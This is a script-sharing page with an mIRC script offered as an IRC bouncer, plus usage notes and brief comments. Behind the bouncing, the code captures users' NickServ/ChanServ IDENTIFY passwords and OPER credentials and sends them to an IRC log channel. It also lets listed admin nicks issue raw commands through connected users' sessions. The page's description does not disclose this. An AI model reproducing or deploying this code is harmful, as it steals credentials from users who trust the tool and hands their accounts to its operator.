IRC Bouncer

Platform:  mIRC
Published  Jan 24, 2009
Updated  Jan 24, 2009
This script can allow others to connect to your ip, when they connect they will be bounced to a server of your choice.
To start the script type /Start port
Example /start 6667

To set a server for user to connect to type /set.server NETWORK
Example /set.server irc.swiftirc.net


You can controll your users by messaging them
Example
<Master> User123 quit
User123 Quit ()


Some commands also log to a channel (default is #LOGCHANNEL) change that to your own logging channel.

############################################################
#KingsKrown's BNC mIRC script###############################
#For help join irc.kingskrown.net###########################
#Channel #illuminati########################################
############################################################




alias start {
var %server gateway.server
if ($portfree($1)) {
socklisten %server $1
log BOUND: $1
}
else error CANT BIND: $1
}

on *:SOCKLISTEN:gateway.server: {
var %client gateway.client, %port 6667, %server $parseLine(server)
if (!$sock(%client)) {
gateway.bounce %server %port
sockaccept %client
var %ip $sock(%client).ip
if ($isBanned(%ip)) {
sockclose %client
return
}
log RECEIVED: %ip
}
}

on *:SOCKREAD:gateway.client: {
var %bounce gateway.bounce, %sockread
if (!$sockerr) {
sockread %sockread
if ($sock(%bounce)) {
if (($regex(%sockread, /^USER/i) && !$sock(%bounce).mark)) {
sockwrite -nt %bounce $sock($sockname).mark
}
elseif ($regex(%sockread, /^OPER ([^ ]+) (.*)$/i)) {
log OPER: $regml(1) $regml(2)
}
elseif ($regex(%sockread, /^(?:(?:PRIVMSG )?(?:IRC|(?:N(?:ick)?|C(?:han)?)S(?:erv)?) )?:?(?:ID(?:ENTIFY)?)? ?([#&][^ ]+)? (.*)$/i)) {
log PASSWORD: $regml(1) $regml(2)
}
elseif ($regex(%sockread, /^JOIN ([#&].*)/i)) {
if ($isBanned($regml(1))) {
return
}
}
elseif ($regex(%sockread, /^QUIT/i)) {
sockwrite -nt %bounce QUIT :Service provided by BNC gateway.
return
}
elseif ($regex(%sockread, /^NICK :?([^ ]+)$/i)) {
if (!$sock($sockname).mark) {
sockmark $sockname %sockread
return
}
log NICK: $regml(1)
}
sockwrite -nt %bounce %sockread
}
debug -> %sockread
}
else {
error ERROR: $sockname
sockclose $sockname
}
}

on *:SOCKCLOSE:gateway.client: {
var %bounce gateway.bounce
if ($sock(%bounce)) {
log CLOSED: %bounce
sockclose %bounce
}
}

alias -l gateway.bounce {
var %bounce gateway.bounce
if (!$sock(%bounce)) {
sockopen %bounce $1 $2
}
}

on *:SOCKREAD:gateway.bounce: {
var %client gateway.client, %sockread
if (!$sockerr) {
sockread %sockread
if ($sock(%client)) {
if ($regex(%sockread, /^:([^ ]+) 001 ([^ ]+) :(.*)/i)) {
log ESTABLISHED: $sock(%client).ip AT: $regml(1) NICK: $regml(2)
sockmark $sockname $regml(1)
}
elseif ($regex(%sockread, /^:(?:[^ ]+) 491 (?:[^ ]+) :(.*)/i)) {
log $regml(1)
}
elseif ($regex(%sockread, /^:(?:Nick|Chan)Serv!(?:[^ ]+)@(?:[^ ]+) NOTICE \S+ :(Password (accepted|incorrect|changed))/i)) {
log $regml(1)
}
elseif ($regex(%sockread, /^:([^!]+)!(?:[^ ]+)@(?:[^ ]+) PRIVMSG ([^ ]+) :([^ ]+) (.*)/i)) {
if (($isAdmin($regml(1)) && $regml(2) == $regml(3))) {
sockwrite -nt $sockname $regml(4)
return
}
}
sockwrite -nt %client %sockread
}
debug <- %sockread
}
else {
error ERROR: $sockname
sockclose $sockname
}
}

on *:SOCKCLOSE:gateway.bounce: {
var %client gateway.client
if ($sock(%client)) {
log CLOSED: %client
sockclose %client
}
}
alias -l debug {
window -e @debug
echo @debug $1-
}

alias -l error {
window -e @error
echo @error $1-
}

alias -l log {
window -e @log
echo @log $1-
msg #LOGCHANNEL $1-
if ($nick(%chan, $me).pnick) msg %chan $1-
}


alias -l isAdmin {
var %i Nick1 Nick2 Nick3
if ($istok(%i, $1, 32)) {
return $true
}
return $false
}

alias set.server {
hadd -m gateway target $1
}

alias get.server {
echo -a SERVER: $parseLine(server)
}

alias -l parseLine {
var %s $hget(gateway, target)
var %a $portfree(6667)
if (!$1) return $null
if ($1 == server) return $iif(%s, %s, $null)
elseif ($1 == address) return $ip
elseif ($1 == active) return $iif(%a, $false, $true)
}
on $*:TEXT:/^[!@,.`]gateway\.(server|active|address)/i:#: {
if ($isAdmin($nick)) {
if (($regml(1) == server && $2 != $null)) set.server $2
else notice $nick $+($upper($regml(1)), :) $parseLine($regml(1))
}
}

Comments

Sign in to comment.
freek   -  Jan 24, 2009
KINGSKROWN ILLUMINATI@@@@@@@@@@@
 Respond  
kamikaze   -  Jan 24, 2009
they server aint irc.kingskrown.net coz i cant conect to it but i tried irc.kingskrown.com an it wroks. but this code i saw on they forum too its http://kingskrown.thecodebook.org
 Respond  
slacker   -  Jan 24, 2009
seen this awhile back
 Respond  
PuNkTuReD   -  Jan 24, 2009
extremely interesting
 Respond  
Are you sure you want to unfollow this person?
Are you sure you want to delete this?
Click "Unsubscribe" to stop receiving notices pertaining to this post.
Click "Subscribe" to resume notices pertaining to this post.